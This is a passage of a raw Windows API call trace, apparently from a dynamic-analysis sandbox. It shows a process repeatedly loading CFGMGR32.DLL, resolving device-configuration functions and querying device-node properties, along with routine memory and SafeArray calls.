[0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.619] malloc (_Size=0x18) returned 0x196ef0d1d80 [0224.619] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.622] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0224.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66bd3576, dwHighDateTime=0x1d9eb0c)) [0224.622] SetEvent (hEvent=0x248) returned 1 [0224.747] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.747] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.751] malloc (_Size=0x18) returned 0x196ef0d1de0 [0224.751] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x24, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0224.752] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0224.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x66d047b3, dwHighDateTime=0x1d9eb0c)) [0224.752] SetEvent (hEvent=0x248) returned 1 [0224.757] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.757] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.761] malloc (_Size=0x18) returned 0x196ef0d20e0 [0224.761] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x24, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0224.761] malloc (_Size=0x48) returned 0x196ef0fbd10 [0224.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x66d2aae8, dwHighDateTime=0x1d9eb0c)) [0224.761] SetEvent (hEvent=0x248) returned 1 [0224.765] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.765] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.768] malloc (_Size=0x18) returned 0x196ef0d20c0 [0224.769] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.769] malloc (_Size=0x48) returned 0x196ef0fbb80 [0224.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66d2aae8, dwHighDateTime=0x1d9eb0c)) [0224.769] SetEvent (hEvent=0x248) returned 1 [0224.775] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.775] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.779] malloc (_Size=0x18) returned 0x196ef0d1a40 [0224.779] CM_Get_Device_IDA (in: dnDevInst=0x25, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{8E320CB0-49C6-48E6-BF25-A7ECE3AEB1B7}") returned 0x0 [0224.779] malloc (_Size=0x48) returned 0x196ef0fb680 [0224.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x66d50cef, dwHighDateTime=0x1d9eb0c)) [0224.779] SetEvent (hEvent=0x248) returned 1 [0224.783] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.783] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.790] malloc (_Size=0x18) returned 0x196ef0d1de0 [0224.790] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.790] malloc (_Size=0xae) returned 0x196ef0f8420 [0224.790] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f8420, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f8420, pulLength=0x67117d608) returned 0x0 [0224.791] free (_Block=0x196ef0f8420) [0224.791] malloc (_Size=0x48) returned 0x196ef0fba40 [0224.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66d7e7bb, dwHighDateTime=0x1d9eb0c)) [0224.791] SetEvent (hEvent=0x248) returned 1 [0224.958] malloc (_Size=0x18) returned 0x196ef0d1d00 [0224.958] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0224.958] free (_Block=0x196ef0d1d00) [0224.959] malloc (_Size=0x18) returned 0x196ef0d1c40 [0224.959] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.959] free (_Block=0x196ef0d1c40) [0224.959] malloc (_Size=0x18) returned 0x196ef0d1f20 [0224.959] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.959] free (_Block=0x196ef0d1f20) [0224.959] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854f60 [0224.959] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0224.959] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.959] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.959] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0224.959] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0224.959] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.959] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0224.959] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.960] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e490, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.960] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e498, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.960] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e4a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.961] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0224.961] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854f60) returned 1 [0224.962] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.962] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.965] malloc (_Size=0x18) returned 0x196ef0d1e20 [0224.965] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.965] malloc (_Size=0x54) returned 0x196ef1013a0 [0224.966] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef1013a0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef1013a0, pulLength=0x67117d608) returned 0x0 [0224.966] free (_Block=0x196ef1013a0) [0224.967] malloc (_Size=0x48) returned 0x196ef0fb680 [0224.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66f1a879, dwHighDateTime=0x1d9eb0c)) [0224.967] SetEvent (hEvent=0x248) returned 1 [0224.969] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0224.970] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.970] free (_Block=0x196ef0d1ac0) [0224.970] malloc (_Size=0x18) returned 0x196ef0d1b00 [0224.970] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.970] free (_Block=0x196ef0d1b00) [0224.970] malloc (_Size=0x18) returned 0x196ef0d1e60 [0224.970] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0224.970] free (_Block=0x196ef0d1e60) [0224.970] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854fe0 [0224.970] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.970] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.970] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.970] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0224.970] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.970] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.970] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0224.971] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.971] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.971] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.971] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e720, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.972] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0224.973] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854fe0) returned 1 [0224.973] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.973] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, 